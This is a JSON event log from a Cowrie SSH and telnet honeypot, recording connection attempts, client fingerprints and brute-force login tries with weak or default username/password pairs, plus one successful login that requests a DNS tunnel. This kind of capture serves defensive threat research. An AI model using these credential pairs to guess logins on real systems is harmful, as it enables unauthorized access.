{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:20.895375Z","src_ip":"87.251.64.176","session":"a3a08f29ff77","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:21.185475Z","src_ip":"87.251.64.176","session":"a3a08f29ff77","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:21.293646Z","session":"a3a08f29ff77","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:21.395923Z","src_ip":"87.251.64.176","session":"a3a08f29ff77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:21.494714Z","src_ip":"87.251.64.176","session":"a3a08f29ff77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":44658,"dst_ip":"159.203.135.109","dst_port":22,"session":"a771c2791c96","protocol":"ssh","message":"New connection: 45.156.87.254:44658 (159.203.135.109:22) [session: a771c2791c96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:21.874138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:21.960350Z","src_ip":"45.156.87.254","session":"a771c2791c96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:22.050414Z","src_ip":"45.156.87.254","session":"a771c2791c96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"123456","message":"login attempt [adminuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:22.308646Z","src_ip":"45.156.87.254","session":"a771c2791c96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:23.397922Z","src_ip":"45.156.87.254","session":"a771c2791c96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":44664,"dst_ip":"159.203.135.109","dst_port":22,"session":"70c4d811751b","protocol":"ssh","message":"New connection: 45.156.87.254:44664 (159.203.135.109:22) [session: 70c4d811751b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:27.101283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:27.107679Z","src_ip":"45.156.87.254","session":"70c4d811751b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:27.188003Z","src_ip":"45.156.87.254","session":"70c4d811751b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esadmin","password":"esadmin","message":"login attempt [esadmin/esadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:27.508723Z","src_ip":"45.156.87.254","session":"70c4d811751b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.25996732711792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:28.544002Z","src_ip":"185.145.252.179","session":"da590703a827","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:28.719234Z","src_ip":"45.156.87.254","session":"70c4d811751b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57992,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8cd4daeb500","protocol":"telnet","message":"New connection: 104.245.105.2:57992 (10.17.0.5:23) [session: b8cd4daeb500]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:31.037856Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":36752,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5097635f5e7","protocol":"ssh","message":"New connection: 45.156.87.254:36752 (159.203.135.109:22) [session: e5097635f5e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:32.044008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:32.048793Z","src_ip":"45.156.87.254","session":"e5097635f5e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:32.134507Z","src_ip":"45.156.87.254","session":"e5097635f5e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234567","message":"login attempt [user1/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:32.420457Z","src_ip":"45.156.87.254","session":"e5097635f5e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:33.567153Z","src_ip":"45.156.87.254","session":"e5097635f5e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":36776,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c15b8ee1237","protocol":"ssh","message":"New connection: 45.156.87.254:36776 (159.203.135.109:22) [session: 3c15b8ee1237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:37.298336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:37.303158Z","src_ip":"45.156.87.254","session":"3c15b8ee1237","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:37.390161Z","src_ip":"45.156.87.254","session":"3c15b8ee1237","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:37.642818Z","src_ip":"45.156.87.254","session":"3c15b8ee1237","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:38.732756Z","src_ip":"45.156.87.254","session":"3c15b8ee1237","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":46012,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8cf0bd131c9","protocol":"ssh","message":"New connection: 45.156.87.254:46012 (159.203.135.109:22) [session: e8cf0bd131c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:42.284408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:42.288847Z","src_ip":"45.156.87.254","session":"e8cf0bd131c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:42.371475Z","src_ip":"45.156.87.254","session":"e8cf0bd131c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1111","message":"login attempt [user/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:42.892971Z","src_ip":"45.156.87.254","session":"e8cf0bd131c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:43.979225Z","src_ip":"45.156.87.254","session":"e8cf0bd131c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.145.252.179","src_port":33178,"dst_ip":"10.17.0.5","dst_port":23,"session":"01b4474c1150","protocol":"telnet","message":"New connection: 185.145.252.179:33178 (10.17.0.5:23) [session: 01b4474c1150]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:44.982087Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":46028,"dst_ip":"159.203.135.109","dst_port":22,"session":"d70539e0c37c","protocol":"ssh","message":"New connection: 45.156.87.254:46028 (159.203.135.109:22) [session: d70539e0c37c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:47.624623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:47.743347Z","src_ip":"45.156.87.254","session":"d70539e0c37c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:47.746997Z","src_ip":"45.156.87.254","session":"d70539e0c37c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch@1234","message":"login attempt [elasticsearch/elasticsearch@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:48.222599Z","src_ip":"45.156.87.254","session":"d70539e0c37c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:49.308618Z","src_ip":"45.156.87.254","session":"d70539e0c37c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.145.252.179","src_port":33634,"dst_ip":"10.17.0.5","dst_port":23,"session":"92e6b8b895ab","protocol":"telnet","message":"New connection: 185.145.252.179:33634 (10.17.0.5:23) [session: 92e6b8b895ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:50.655669Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":56792,"dst_ip":"159.203.135.109","dst_port":22,"session":"900fa4574c80","protocol":"ssh","message":"New connection: 45.156.87.254:56792 (159.203.135.109:22) [session: 900fa4574c80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:52.737016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:52.741475Z","src_ip":"45.156.87.254","session":"900fa4574c80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:52.829365Z","src_ip":"45.156.87.254","session":"900fa4574c80","protocol":"ssh"}
